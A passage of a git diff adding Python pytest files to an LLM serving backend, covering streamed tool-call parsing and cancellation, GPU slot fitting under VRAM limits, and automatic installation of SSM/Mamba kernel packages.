["{"name": "loo', '{"name": "lookup", "argum'] + cumulative = pieces + [_CALL_XML] + backend = _ScriptedBackend(_fixed(*cumulative)) + payload = _request(tools = [LOOKUP_TOOL], stream = True) + response = _call(payload, monkeypatch, backend) + objs = _sse_objects(_collect_sse(response)) + tool_deltas = [ + tc + for o in objs + for tc in (o.get("choices", [{}])[0].get("delta", {}) or {}).get("tool_calls", []) or [] + ] + assert len(tool_deltas) == 1 + assert tool_deltas[0]["function"]["name"] == "lookup" + finishes = [ + o["choices"][0]["finish_reason"] + for o in objs + if o["choices"] and o["choices"][0].get("finish_reason") + ] + assert finishes == ["tool_calls"] + + +def test_streaming_cancel_does_not_finalize_tool_call(monkeypatch): + # A stream cancelled via the registry ("Stop") must NOT promote the + # buffered-but-unclosed tool markup at finalize, else it executes a tool + # the user just cancelled. Guarded on cancel_event at the finalize step. + import routes.inference as inf + + cancel_id = "cancel-me-6870" + # Balanced JSON but no closing -> healer HOLDS it until finalize. + held = '{"name": "lookup", "arguments": {"q": "cats"}}' + + class _CancelMidStream(_ScriptedBackend): + def __init__(self): + super().__init__(_fixed(held)) + + def generate_chat_response( + self, + *, + messages, + tools = None, + stats_holder = None, + **kwargs, + ): + self.calls.append({"messages": messages, "tools": tools, **kwargs}) + yield held # healer holds the unclosed call + inf._cancel_by_cancel_id_or_stash(cancel_id) # user hits Stop before EOF + + backend = _CancelMidStream() + payload = _request(tools = [LOOKUP_TOOL], stream = True, cancel_id = cancel_id) + response = _call(payload, monkeypatch, backend) + objs = _sse_objects(_collect_sse(response)) + tool_deltas = [ + tc + for o in objs + for tc in (o.get("choices", [{}])[0].get("delta", {}) or {}).get("tool_calls", []) or [] + ] + assert tool_deltas == [] # no tool promoted after cancel + finishes = [ + o["choices"][0]["finish_reason"] + for o in objs + if o["choices"] and o["choices"][0].get("finish_reason") + ] + assert "tool_calls" not in finishes # ends with finish_reason=stop, not tool_calls + + +def test_streaming_no_tools_verbatim(monkeypatch): + backend = _ScriptedBackend(_fixed("hello ", "hello world")) + payload = _request(stream = True) + response = _call(payload, monkeypatch, backend) + objs = _sse_objects(_collect_sse(response)) + text = "".join( + (o["choices"][0]["delta"].get("content") or "") + for o in objs + if o["choices"] and "delta" in o["choices"][0] + ) + assert text == "hello world" + finishes = [ + o["choices"][0]["finish_reason"] + for o in objs + if o["choices"] and o["choices"][0].get("finish_reason") + ] + assert finishes == ["stop"] + + +def test_streaming_repeated_snapshot_no_duplicate_call(monkeypatch): + # Repeated then shrunk cumulative snapshots must not double-heal. + backend = _ScriptedBackend(_fixed(_CALL_XML, _CALL_XML, _CALL_XML[:5], _CALL_XML)) + payload = _request(tools = [LOOKUP_TOOL], stream = True) + response = _call(payload, monkeypatch, backend) + objs = _sse_objects(_collect_sse(response)) + tool_deltas = [ + tc + for o in objs + for tc in (o.get("choices", [{}])[0].get("delta", {}) or {}).get("tool_calls", []) or [] + ] + assert len(tool_deltas) == 1 + + +def test_streaming_parallel_cap(monkeypatch): + backend = _ScriptedBackend(_fixed(_CALL_XML + _SEARCH_XML)) + payload = _request(tools = [LOOKUP_TOOL, SEARCH_TOOL], stream = True, parallel_tool_calls = False) + response = _call(payload, monkeypatch, backend) + objs = _sse_objects(_collect_sse(response)) + tool_deltas = [ + tc + for o in objs + for tc in (o.get("choices", [{}])[0].get("delta", {}) or {}).get("tool_calls", []) or [] + ] + assert len(tool_deltas) == 1 + assert tool_deltas[0]["function"]["name"] == "lookup" + + +def test_streaming_generator_error_closes_cleanly(monkeypatch): + def responder(messages, tools): + raise RuntimeError("boom /secret/path") + + backend = _ScriptedBackend(responder) + payload = _request(tools = [LOOKUP_TOOL], stream = True) + response = _call(payload, monkeypatch, backend) + chunks = _collect_sse(response) + joined = "".join(c.decode() if isinstance(c, bytes) else c for c in chunks) + assert "An internal error occurred" in joined + assert "secret/path" not in joined # CWE-209: no path leak + assert backend.reset_count >= 1 + + +def test_streaming_disconnect_resets_once(monkeypatch): + class _DisconnectRequest(_Request): + async def is_disconnected(self): + return True + + backend = _ScriptedBackend(_fixed("a", "ab", "abc")) + payload = _request(tools = [LOOKUP_TOOL], stream = True) + _install(monkeypatch, backend) + + async def _run(): + resp = await openai_chat_completions( + payload, request = _DisconnectRequest(), current_subject = "u" + ) + return [c async for c in resp.body_iterator] + + asyncio.run(_run()) + assert backend.reset_count == 1 + + +def test_mlx_uses_same_path(monkeypatch): + # MLX and safetensors share get_inference_backend(); one scripted backend covers both. + backend = _ScriptedBackend(_fixed(_CALL_XML)) + payload = _request(tools = [LOOKUP_TOOL], stream = False) + body = _json_body(_call(payload, monkeypatch, backend)) + assert body["choices"][0]["finish_reason"] == "tool_calls" + + +def test_tool_choice_none_does_not_advertise_tools(monkeypatch): + # tool_choice="none": no tools rendered into the template; history templating still applies. + backend = _ScriptedBackend(_fixed("plain answer")) + payload = _request(tools = [LOOKUP_TOOL], tool_choice = "none", stream = False) + body = _json_body(_call(payload, monkeypatch, backend)) + assert body["choices"][0]["message"]["content"] == "plain answer" + assert backend.calls[0]["tools"] is None + + +def test_developer_message_folded_into_system_prompt(monkeypatch): + # The "developer" role folds into one leading system message (local templates reject it). + backend = _ScriptedBackend(_fixed("ok")) + payload = _request( + messages = [ + ChatMessage(role = "developer", content = "always be terse"), + ChatMessage(role = "user", content = "hi"), + ], + tools = [LOOKUP_TOOL], + stream = False, + ) + _call(payload, monkeypatch, backend) + sent = backend.calls[0]["messages"] + assert sent[0]["role"] == "system" + assert "always be terse" in sent[0]["content"] + assert all(m.get("role") != "developer" for m in sent) + + +def test_failed_nudge_retry_keeps_original_response(monkeypatch): + # A raising retry must not 500; the first response is returned. + state = {"n": 0} + + def responder(messages, tools): + state["n"] += 1 + if state["n"] == 1: + return ['{"name":"lookup"'] # unhealable signal + raise RuntimeError("retry blew up") + + backend = _ScriptedBackend(responder) + payload = _request(tools = [LOOKUP_TOOL], nudge_tool_calls = True, stream = False) + body = _json_body(_call(payload, monkeypatch, backend)) + assert state["n"] == 2 + assert body["choices"][0]["finish_reason"] == "stop" + assert body["choices"][0]["message"]["content"] == '{"name":"lookup"' + + +def test_discarded_nudge_retry_reports_first_attempt_usage(monkeypatch): + # Double-failure nudge: the first response is delivered, but the retry's + # generate() overwrites stats_holder. The monitor must record the FIRST + # attempt's usage, not the discarded retry's. + first_stats = {"usage": {"prompt_tokens": 7, "completion_tokens": 3, "total_tokens": 10}} + retry_stats = {"usage": {"prompt_tokens": 99, "completion_tokens": 99, "total_tokens": 198}} + + class _PerCallStatsBackend(_ScriptedBackend): + def __init__(self): + # Unhealable truncated markup on both attempts -> retry is discarded. + super().__init__(lambda m, t: ['{"name":"lookup"']) + self._stats_seq = [first_stats, retry_stats] + + def generate_chat_response( + self, + *, + messages, + tools = None, + stats_holder = None, + **kwargs, + ): + self.calls.append({"messages": messages, "tools": tools, **kwargs}) + stats = self._stats_seq[min(len(self.calls) - 1, len(self._stats_seq) - 1)] + if stats_holder is not None: + stats_holder["stats"] = stats + for snap in self._responder(messages, tools): + yield snap + + backend = _PerCallStatsBackend() + payload = _request(tools = [LOOKUP_TOOL], nudge_tool_calls = True, stream = False) + monitor = _install(monkeypatch, backend) + + async def _run(): + return await openai_chat_completions(payload, request = _Request(), current_subject = "u") + + asyncio.run(_run()) + assert len(backend.calls) == 2 # first attempt + one discarded retry + [entry] = monitor.snapshot() + # The delivered response is the first attempt, so its usage must be reported. + assert entry["prompt_tokens"] == 7 + assert entry["completion_tokens"] == 3 + + +def test_monitor_records_healed_call_not_raw_xml(monkeypatch): + backend = _ScriptedBackend(_fixed(_CALL_XML)) + payload = _request(tools = [LOOKUP_TOOL], stream = False) + monitor = _install(monkeypatch, backend) + + async def _run(): + return await openai_chat_completions(payload, request = _Request(), current_subject = "u") + + asyncio.run(_run()) + snap = monitor.snapshot(include_details = True) + replies = json.dumps(snap) + assert "" not in replies + assert "lookup" in replies + + +def test_streaming_monitor_records_healed_call_not_raw_xml(monkeypatch): + # Monitor mirrors what the client received, never the healed-away raw markup. + backend = _ScriptedBackend( + _fixed("Sure. ", 'Sure. {"name": "loo', "Sure. " + _CALL_XML) + ) + payload = _request(tools = [LOOKUP_TOOL], stream = True) + monitor = _install(monkeypatch, backend) + + async def _run(): + return await openai_chat_completions(payload, request = _Request(), current_subject = "u") + + response = asyncio.run(_run()) + _collect_sse(response) + replies = json.dumps(monitor.snapshot(include_details = True)) + assert "" not in replies + assert "Sure. " in replies + assert "[tool_calls] lookup(" in replies + + +def test_forced_tool_choice_narrows_templated_tools(monkeypatch): + # A forced function is the only schema rendered into the template. + backend = _ScriptedBackend(_fixed(_SEARCH_XML)) + payload = _request( + tools = [LOOKUP_TOOL, SEARCH_TOOL], + stream = False, + tool_choice = {"type": "function", "function": {"name": "search"}}, + ) + body = _json_body(_call(payload, monkeypatch, backend)) + templated = backend.calls[0]["tools"] + assert [t["function"]["name"] for t in templated] == ["search"] + choice = body["choices"][0] + assert choice["finish_reason"] == "tool_calls" + assert choice["message"]["tool_calls"][0]["function"]["name"] == "search" + + +def test_multimodal_content_parts_flattened_for_local_template(monkeypatch): + # Remote image URLs leave image=None, so content arrives as a part LIST: + # text parts are kept, the image part dropped. + backend = _ScriptedBackend(_fixed(_CALL_XML)) + payload = _request( + messages = [ + ChatMessage( + role = "user", + content = [ + {"type": "text", "text": "what is this?"}, + { + "type": "image_url", + "image_url": {"url": "https://example.com/cat.png"}, + }, + ], + ) + ], + tools = [LOOKUP_TOOL], + stream = False, + ) + body = _json_body(_call(payload, monkeypatch, backend)) + templated = backend.calls[0]["messages"] + assert all(isinstance(m.get("content"), str) for m in templated) + assert any(m["content"] == "what is this?" for m in templated) + assert body["choices"][0]["finish_reason"] == "tool_calls" + + +def test_string_arguments_history_deserialized_for_template(monkeypatch): + # JSON-string tool_calls arguments become dicts in the templated copy; + # the HTTP response stays OpenAI-shaped. + backend = _ScriptedBackend(_fixed("done")) + payload = _request( + tools = [LOOKUP_TOOL], + stream = False, + messages = [ + ChatMessage(role = "user", content = "weather?"), + ChatMessage( + role = "assistant", + content = None, + tool_calls = [ + { + "id": "call_0", + "type": "function", + "function": {"name": "lookup", "arguments": '{"q": "weather"}'}, + } + ], + ), + ChatMessage(role = "tool", tool_call_id = "call_0", content = "sunny"), + ], + ) + _json_body(_call(payload, monkeypatch, backend)) + assistant = next(m for m in backend.calls[0]["messages"] if m["role"] == "assistant") + assert assistant["tool_calls"][0]["function"]["arguments"] == {"q": "weather"} + + +def test_unparseable_arguments_string_left_untouched(monkeypatch): + backend = _ScriptedBackend(_fixed("ok")) + payload = _request( + tools = [LOOKUP_TOOL], + stream = False, + messages = [ + ChatMessage(role = "user", content = "hi"), + ChatMessage( + role = "assistant", + content = None, + tool_calls = [ + { + "id": "call_0", + "type": "function", + "function": {"name": "lookup", "arguments": "not json {"}, + } + ], + ), + ChatMessage(role = "tool", tool_call_id = "call_0", content = "y"), + ], + ) + body = _json_body(_call(payload, monkeypatch, backend)) + assert body["choices"][0]["message"]["content"] == "ok" + assistant = next(m for m in backend.calls[0]["messages"] if m["role"] == "assistant") + assert assistant["tool_calls"][0]["function"]["arguments"] == "not json {" + + +def test_mcp_enabled_without_server_tools_uses_passthrough(monkeypatch): + # mcp_enabled=true with an empty registry must not silently drop the + # declared tools; the gate keys on the server-side path claiming the request. + backend = _ScriptedBackend(_fixed(_CALL_XML)) + payload = _request(tools = [LOOKUP_TOOL], stream = False, mcp_enabled = True) + body = _json_body(_call(payload, monkeypatch, backend)) + choice = body["choices"][0] + assert choice["finish_reason"] == "tool_calls" + assert choice["message"]["tool_calls"][0]["function"]["name"] == "lookup" + assert backend.calls[0]["tools"] == [LOOKUP_TOOL] diff --git a/studio/backend/tests/test_slot_offload_fit.py b/studio/backend/tests/test_slot_offload_fit.py new file mode 100644 index 0000000000..ac606e4627 --- /dev/null +++ b/studio/backend/tests/test_slot_offload_fit.py @@ -0,0 +1,115 @@ +# SPDX-License-Identifier: AGPL-3.0-only +# Copyright 2026-present the Unsloth AI Inc. team. All rights reserved. See /studio/LICENSE.AGPL-3.0 + +"""Tests for the offload-avoidance serving-slot reduction (`_slots_that_fit_on_gpu`). + +When a pinned context does not fit at the requested `--parallel` slot count, Studio would +flip to `--fit on` and llama-server offloads layers to host RAM, collapsing decode ~3x +(oobabooga #6718). Instead the loader retries the on-GPU fit at fewer slots and keeps the +largest count that stays fully on GPU (`-ngl -1`). These tests drive the real helper with +synthetic VRAM maps; the KV term is mocked so totals are controlled and the reduction logic +is asserted directly (no GPU, network, or subprocess). +""" + +from __future__ import annotations + +import sys +import types as _types +from pathlib import Path + +_BACKEND_DIR = str(Path(__file__).resolve().parent.parent) +if _BACKEND_DIR not in sys.path: + sys.path.insert(0, _BACKEND_DIR) + +_loggers_stub = _types.ModuleType("loggers") +_loggers_stub.get_logger = lambda name: __import__("logging").getLogger(name) +sys.modules.setdefault("loggers", _loggers_stub) + +from core.inference.llama_cpp import LlamaCppBackend + +MIB = 1024 * 1024 +CTX = 90624 +FRAC = LlamaCppBackend._GPU_PIN_VRAM_FRACTION # 0.97; usable = free - 0.03*total + + +def _backend( + vocab = 248320, + embd = 5120, + kv_fixed_mib = 0, +): + """Backend with the dims the compute buffer reads; KV mocked to a fixed size so the + only slot-dependent term is the compute buffer (485 MiB/slot f32 output x 1.15).""" + b = LlamaCppBackend.__new__(LlamaCppBackend) + b._vocab_size = vocab + b._embedding_length = embd + b._key_length_mla = None + b._estimate_kv_cache_bytes = lambda ctx, t = None, **k: kv_fixed_mib * MIB + b._can_estimate_kv = lambda: True + return b + + +def _run( + b, + n_parallel, + base_mib, + gpus, + total_by_idx, + overhead_mib = 0, +): + return b._slots_that_fit_on_gpu( + n_parallel, + CTX, + gpus, + total_by_idx, + int(base_mib * MIB), + "q8_0", + FRAC, + int(overhead_mib * MIB), + 1, + 512, + ) + + +class TestSlotsThatFitOnGpu: + """Compute-buffer per slot (vocab 248320, embd 5120): cb(1)=46, cb(2)=604, cb(3)=1162, + cb(4)=1719 MiB. Single 24 GB card usable = 24576 - 0.03*24576 = 23839 MiB.""" + + def test_reduces_to_largest_fitting_slot(self): + # base+KV = 22500: par4 (24219) over 23839, par3 (23662) fits -> 3 slots on GPU. + gi, use_fit, slots = _run(_backend(), 4, 22500, [(0, 24576)], {0: 24576}) + assert use_fit is False and gi == [0] and slots == 3 + + def test_floor_when_only_one_slot_fits(self): + # base 23400: par2 (24004) over, par1 (23446) fits -> drop all the way to 1. + gi, use_fit, slots = _run(_backend(), 4, 23400, [(0, 24576)], {0: 24576}) + assert use_fit is False and gi == [0] and slots == 1 + + def test_none_fit_stays_offload(self): + # Even a single slot (24046) exceeds usable -> genuine offload, unchanged. + gi, use_fit, slots = _run(_backend(), 4, 24000, [(0, 24576)], {0: 24576}) + assert use_fit is True and gi is None and slots == 4 + + def test_roomy_would_keep_all_but_helper_only_reduces(self): + # On a roomy card par4 fits, so load_model never calls this helper; if called it + # still only searches < n_parallel and never raises the count above the request. + gi, use_fit, slots = _run(_backend(), 4, 5000, [(0, 183000)], {0: 183000}) + assert use_fit is False and slots == 3 and slots < 4 + + def test_single_slot_request_is_noop(self): + # n_parallel == 1: nothing to reduce (range empty) -> report offload unchanged. + gi, use_fit, slots = _run(_backend(), 1, 22500, [(0, 24576)], {0: 24576}) + assert use_fit is True and gi is None and slots == 1 + + def test_multi_gpu_reduces_across_devices(self): + # Needs 2 GPUs: usable/GPU = 23839, cumulative 47677. base+KV 46200: par4 (47919) + # over, par3 (47362) fits across both -> 3 slots spanning [0, 1]. + gi, use_fit, slots = _run( + _backend(), 4, 46200, [(0, 24576), (1, 24576)], {0: 24576, 1: 24576} + ) + assert use_fit is False and gi == [0, 1] and slots == 3 + + def test_kv_counted_per_candidate(self): + # A non-zero (slot-independent) KV shifts the threshold: with 3000 MiB KV and + # base 19500 (= 22500 total at par-independent terms) the same par3 fit holds. + gi, use_fit, slots = _run(_backend(kv_fixed_mib = 3000), 4, 19500, [(0, 24576)], {0: 24576}) + assert use_fit is False and slots == 3 diff --git a/studio/backend/tests/test_ssm_runtime.py b/studio/backend/tests/test_ssm_runtime.py new file mode 100644 index 0000000000..bb0caa2887 --- /dev/null +++ b/studio/backend/tests/test_ssm_runtime.py @@ -0,0 +1,546 @@ +# SPDX-License-Identifier: AGPL-3.0-only +# Copyright 2026-present the Unsloth AI Inc. team. All rights reserved. See /studio/LICENSE.AGPL-3.0 + +"""Tests for utils.ssm_runtime: the inference-side auto-install of SSM/Mamba kernels. + +Covers detection, wheel-first install, idempotency, the failure path, the inference +worker wiring, and a drift guard so the constants/detection stay in lockstep with the +training worker (the original source of this behaviour). +""" + +import sys +import types +from pathlib import Path + +import pytest + +_BACKEND = Path(__file__).resolve().parent.parent +if str(_BACKEND) not in sys.path: + sys.path.insert(0, str(_BACKEND)) + +from utils import ssm_runtime # noqa: E402 + + +class _Result: + def __init__( + self, + returncode = 0, + stdout = "", + ): + self.returncode = returncode + self.stdout = stdout + + +# ── detection ──────────────────────────────────────────────────────────────── + + +@pytest.mark.parametrize( + "name", + [ + "unsloth/NVIDIA-Nemotron-3-Nano-4B", + "unsloth/Nemotron-3-Nano-30B-A3B", + "nvidia/Nemotron-H-8B", + "tiiuae/Falcon-H1-0.5B-Instruct", + "ibm-granite/granite-4.0-h-micro", + "ibm/granitemoehybrid-test", + ], +) +def test_ssm_models_detected(name): + assert ssm_runtime.model_is_ssm(name) is True + # every SSM model also needs causal-conv1d + assert ssm_runtime.model_wants_causal_conv1d(name) is True + + +@pytest.mark.parametrize( + "name", + [ + "Qwen/Qwen3-Next-80B-A3B", + "unsloth/Qwen3.5-2B", + "LiquidAI/LFM2-1.2B", + ], +) +def test_causal_conv1d_only_models(name): + # linear-attention hybrids need causal-conv1d but not mamba-ssm + assert ssm_runtime.model_wants_causal_conv1d(name) is True + assert ssm_runtime.model_is_ssm(name) is False + + +@pytest.mark.parametrize( + "name", + [ + "unsloth/Llama-3.2-1B-Instruct", + "unsloth/Qwen2.5-7B", + "unsloth/gemma-3-4b-it", + "", + None, + ], +) +def test_non_ssm_models_not_detected(name): + assert ssm_runtime.model_is_ssm(name) is False + assert ssm_runtime.model_wants_causal_conv1d(name) is False + + +# ── ssm_probe_identifier: match a real model id, never an arbitrary name ─────── + + +def test_probe_lora_uses_base_not_adapter_name(): + # A plain-Llama LoRA whose adapter id contains an SSM substring is not SSM. + probe = ssm_runtime.ssm_probe_identifier("user/falcon-h1-lora", "meta-llama/Llama-3-8B") + assert probe == "meta-llama/Llama-3-8B" + assert ssm_runtime.model_is_ssm(probe) is False + + +def test_probe_lora_on_ssm_base_detected(): + probe = ssm_runtime.ssm_probe_identifier("user/my-adapter", "nvidia/Nemotron-H-8B") + assert ssm_runtime.model_is_ssm(probe) is True + + +def test_probe_plain_hf_id_unchanged(): + assert ssm_runtime.ssm_probe_identifier("nvidia/Nemotron-H-8B") == "nvidia/Nemotron-H-8B" + + +def test_probe_local_path_uses_basename(tmp_path): + # Parent folders are arbitrary: a Llama checkpoint under a falcon-h1 dir is not SSM. + d = tmp_path / "falcon-h1-experiment" / "llama-checkpoint" + d.mkdir(parents = True) + probe = ssm_runtime.ssm_probe_identifier(str(d)) + assert probe == "llama-checkpoint" + assert ssm_runtime.model_is_ssm(probe) is False + + +def test_probe_local_ssm_checkpoint_basename_detected(tmp_path): + d = tmp_path / "runs" / "nemotron-h-finetune" + d.mkdir(parents = True) + assert ssm_runtime.model_is_ssm(ssm_runtime.ssm_probe_identifier(str(d))) is True + + +# ── ensure_ssm_runtime behaviour ───────────────────────────────────────────── + + +def test_noop_for_non_ssm_model(monkeypatch): + calls = [] + monkeypatch.setattr(ssm_runtime, "_install_kernel", lambda **k: calls.append(k) or True) + ssm_runtime.ensure_ssm_runtime("unsloth/Llama-3.2-1B-Instruct", run = lambda *a, **k: _Result()) + assert calls == [] # nothing installed for a plain transformer + + +def test_ssm_model_installs_causal_then_mamba(monkeypatch): + order = [] + + def fake_install(*, import_name, **_): + order.append(import_name) + return True + + monkeypatch.setattr(ssm_runtime, "_install_kernel", fake_install) + ssm_runtime.ensure_ssm_runtime("unsloth/NVIDIA-Nemotron-3-Nano-4B") + assert order == ["causal_conv1d", "mamba_ssm"] + + +def test_causal_only_model_skips_mamba(monkeypatch): + order = [] + monkeypatch.setattr( + ssm_runtime, + "_install_kernel", + lambda *, import_name, **_: order.append(import_name) or True, + ) + ssm_runtime.ensure_ssm_runtime("Qwen/Qwen3-Next-80B-A3B") + assert order == ["causal_conv1d"] + + +def test_failure_raises_runtime_error(monkeypatch): + # A true SSM model whose mamba-ssm cannot install is fatal (cryptic mid-load import + # otherwise). "Nemotron-3-Nano-30B-A3B" matches the SSM substrings. + monkeypatch.setattr(ssm_runtime, "_install_kernel", lambda **k: False) + with pytest.raises(RuntimeError): + ssm_runtime.ensure_ssm_runtime("unsloth/Nemotron-3-Nano-30B-A3B") + + +def test_causal_only_install_failure_is_not_fatal(monkeypatch): + # Qwen3-Next/LFM2 want causal-conv1d but fall back to torch; a failed install must + # not block the load (best-effort, mirrors training). + monkeypatch.setattr(ssm_runtime, "_install_kernel", lambda **k: False) + ssm_runtime.ensure_ssm_runtime("Qwen/Qwen3-Next-80B-A3B") # no raise + + +def test_ssm_causal_failure_nonfatal_when_mamba_ok(monkeypatch): + # causal-conv1d is best-effort even for a true SSM model; only mamba-ssm is fatal. + monkeypatch.setattr( + ssm_runtime, "_install_kernel", lambda *, import_name, **_: import_name == "mamba_ssm" + ) + ssm_runtime.ensure_ssm_runtime("unsloth/NVIDIA-Nemotron-3-Nano-4B") # no raise + + +def test_install_kernel_idempotent_when_present(monkeypatch): + monkeypatch.setattr(ssm_runtime, "_is_importable", lambda name: True) + called = [] + monkeypatch.setattr(ssm_runtime, "url_exists", lambda u: called.append("url") or True) + ok = ssm_runtime._install_kernel( + import_name = "mamba_ssm", + display_name = "mamba-ssm", + pypi_name = "mamba-ssm", + package_version = "2.3.1", + release_tag = "v2.3.1", + release_base_url = "x", + status_cb = None, + run = lambda *a, **k: _Result(), + ) + assert ok is True + assert called == [] # short-circuits before touching the network + + +def test_install_kernel_uses_prebuilt_wheel(monkeypatch): + # not importable before install, importable after the wheel lands + states = iter([False, True]) + monkeypatch.setattr(ssm_runtime, "_is_importable", lambda name: next(states)) + monkeypatch.setattr(ssm_runtime, "probe_torch_wheel_env", lambda timeout = 30: {"x": "y"}) + seen = {} + monkeypatch.setattr( + ssm_runtime, + "direct_wheel_url", + lambda **k: seen.update(k) or "https://example/mamba_ssm-2.3.1-cp313.whl", + ) + monkeypatch.setattr(ssm_runtime, "url_exists", lambda u: True) + installed = {} + + def fake_install_wheel(url, **k): + installed["url"] = url + return [("uv", _Result(returncode = 0))] + + monkeypatch.setattr(ssm_runtime, "install_wheel", fake_install_wheel) + ran = [] + ok = ssm_runtime._install_kernel( + import_name = "mamba_ssm", + display_name = "mamba-ssm", + pypi_name = "mamba-ssm", + package_version = "2.3.1", + release_tag = "v2.3.1", + release_base_url = "https://github.com/state-spaces/mamba/releases/download", + status_cb = None, + run = lambda *a, **k: ran.append(a) or _Result(), + ) + assert ok is True + assert installed["url"].endswith(".whl") + assert seen["filename_prefix"] == "mamba_ssm" + assert ran == [] # wheel succeeded; no PyPI source build + + +def test_install_kernel_falls_back_to_source(monkeypatch): + # no wheel -> source build -> importable after install + states = iter([False, True]) # before install, after install + monkeypatch.setattr(ssm_runtime, "_is_importable", lambda name: next(states)) + monkeypatch.setattr(ssm_runtime, "probe_torch_wheel_env", lambda timeout = 30: {}) + monkeypatch.setattr(ssm_runtime, "direct_wheel_url", lambda **k: None) + pip_cmds = [] + ok = ssm_runtime._install_kernel( + import_name = "causal_conv1d", + display_name = "causal-conv1d", + pypi_name = "causal-conv1d", + package_version = "1.6.1", + release_tag = "v1.6.1.post4", + release_base_url = "x", + status_cb = None, + run = lambda cmd, **k: pip_cmds.append(cmd) or _Result(returncode = 0), + ) + assert ok is True + assert any("causal-conv1d==1.6.1" in c for c in pip_cmds[0]) + + +# ── import-cache invalidation (so a just-installed kernel is importable) ─────── + + +def test_is_importable_invalidates_caches(monkeypatch): + calls = [] + monkeypatch.setattr(ssm_runtime.importlib, "invalidate_caches", lambda: calls.append(1)) + assert ssm_runtime._is_importable("sys") is True + assert calls # caches invalidated before attempting the import + + +@pytest.mark.parametrize( + "exc", + [ + ImportError("no module"), + OSError("undefined symbol: cuLaunchKernel"), + RuntimeError("CUDA error: ABI mismatch"), + ], +) +def test_is_importable_treats_broken_kernel_as_not_importable(monkeypatch, exc): + # ABI-incompatible kernels raise OSError/RuntimeError, not ImportError; all must read as + # not-importable. _is_importable calls bare __import__(), so patching ssm_runtime.__import__ + # (resolved via module globals) leaves real `import` statements untouched. + def _raise(name): + raise exc + + monkeypatch.setattr(ssm_runtime, "__import__", _raise, raising = False) + monkeypatch.setattr(ssm_runtime.importlib, "invalidate_caches", lambda: None) + assert ssm_runtime._is_importable("causal_conv1d") is False + + +def test_causal_conv1d_skipped_on_windows(monkeypatch): + # No prebuilt Windows wheel: a causal-conv1d-only model must NOT enter the source build + # (which can hang a chat load for minutes); it falls back to torch. + monkeypatch.setattr(ssm_runtime.sys, "platform", "win32") + installed = [] + monkeypatch.setattr( + ssm_runtime, + "_install_kernel", + lambda *, import_name, **_: installed.append(import_name) or True, + ) + ssm_runtime.ensure_ssm_runtime("Qwen/Qwen3-Next-80B-A3B") + assert installed == [] # never attempted to build causal-conv1d + + +def test_ssm_model_on_windows_still_installs_mamba(monkeypatch): + # A true SSM hybrid still needs mamba-ssm on Windows; only causal-conv1d is skipped. + monkeypatch.setattr(ssm_runtime.sys, "platform", "win32") + installed = [] + monkeypatch.setattr( + ssm_runtime, + "_install_kernel", + lambda *, import_name, **_: installed.append(import_name) or True, + ) + ssm_runtime.ensure_ssm_runtime("unsloth/NVIDIA-Nemotron-3-Nano-4B") + assert installed == ["mamba_ssm"] # causal-conv1d skipped, mamba-ssm still attempted + + +def test_wheel_installed_but_not_importable_falls_back_to_source(monkeypatch): + # top: not importable; after wheel: still not importable (ABI mismatch) -> source build; + # after source build: importable. + states = iter([False, False, True]) + monkeypatch.setattr(ssm_runtime, "_is_importable", lambda name: next(states)) + monkeypatch.setattr(ssm_runtime, "probe_torch_wheel_env", lambda timeout = 30: {}) + monkeypatch.setattr(ssm_runtime, "direct_wheel_url", lambda **k: "https://x/w.whl") + monkeypatch.setattr(ssm_runtime, "url_exists", lambda u: True) + monkeypatch.setattr( + ssm_runtime, "install_wheel", lambda url, **k: [("uv", _Result(returncode = 0))] + ) + pip_cmds = [] + ok = ssm_runtime._install_kernel( + import_name = "mamba_ssm", + display_name = "mamba-ssm", + pypi_name = "mamba-ssm", + package_version = "2.3.1", + release_tag = "v2.3.1", + release_base_url = "x", + status_cb = None, + run = lambda cmd, **k: pip_cmds.append(cmd) or _Result(returncode = 0), + ) + assert ok is True + assert pip_cmds, "a non-importable wheel must fall back to a source build" + + +def test_hip_source_build_requires_hipcc(monkeypatch): + # ROCm env (hip_version set) with no wheel and no hipcc must fail clearly, not build. + monkeypatch.setattr(ssm_runtime, "_is_importable", lambda name: False) + monkeypatch.setattr( + ssm_runtime, "probe_torch_wheel_env", lambda timeout = 30: {"hip_version": "6.2"} + ) + monkeypatch.setattr(ssm_runtime, "direct_wheel_url", lambda **k: None) + monkeypatch.setattr(ssm_runtime.shutil, "which", lambda name: None) # no uv, no hipcc + ran = [] + ok = ssm_runtime._install_kernel( + import_name = "causal_conv1d", + display_name = "causal-conv1d", + pypi_name = "causal-conv1d", + package_version = "1.6.1", + release_tag = "v1.6.1.post4", + release_base_url = "x", + status_cb = None, + run = lambda cmd, **k: ran.append(cmd) or _Result(returncode = 0), + ) + assert ok is False + assert ran == [] # bailed before invoking pip + + +def test_source_build_reinstalls_to_replace_broken_wheel(monkeypatch): + # Reached only when not importable (possibly a broken wheel at the pinned version); + # the source build must reinstall so it replaces it instead of no-opping. + states = iter([False, True]) + monkeypatch.setattr(ssm_runtime, "_is_importable", lambda name: next(states)) + monkeypatch.setattr(ssm_runtime, "probe_torch_wheel_env", lambda timeout = 30: {}) + monkeypatch.setattr(ssm_runtime, "direct_wheel_url", lambda **k: None) + cmds = [] + ssm_runtime._install_kernel( + import_name = "causal_conv1d", + display_name = "causal-conv1d", + pypi_name = "causal-conv1d", + package_version = "1.6.1", + release_tag = "v1.6.1.post4", + release_base_url = "x", + status_cb = None, + run = lambda cmd, **k: cmds.append(cmd) or _Result(returncode = 0), + ) + assert "--reinstall" in cmds[0] or "--force-reinstall" in cmds[0] + + +def test_hip_uv_source_build_uses_no_cache(monkeypatch): + # ROCm uv source build must skip the cache to avoid reusing stale partial HIP builds. + states = iter([False, True]) + monkeypatch.setattr(ssm_runtime, "_is_importable", lambda name: next(states)) + monkeypatch.setattr( + ssm_runtime, "probe_torch_wheel_env", lambda timeout = 30: {"hip_version": "6.2"} + ) + monkeypatch.setattr(ssm_runtime, "direct_wheel_url", lambda **k: None) + monkeypatch.setattr(ssm_runtime.shutil, "which", lambda name: "/usr/bin/" + name) # uv + hipcc + monkeypatch.setattr(ssm_runtime, "_hipcc_gcc_install_dir", lambda: None) + cmds = [] + ssm_runtime._install_kernel( + import_name = "causal_conv1d", + display_name = "causal-conv1d", + pypi_name = "causal-conv1d", + package_version = "1.6.1", + release_tag = "v1.6.1.post4", + release_base_url = "x", + status_cb = None, + run = lambda cmd, **k: cmds.append(cmd) or _Result(returncode = 0), + ) + assert cmds[0][0] == "uv" + assert "--no-cache" in cmds[0] and "--reinstall" in cmds[0] + + +# ── inference worker wiring ─────────────────────────────────────────────────── + + +def test_inference_worker_calls_ensure_ssm_runtime(): + src = (_BACKEND 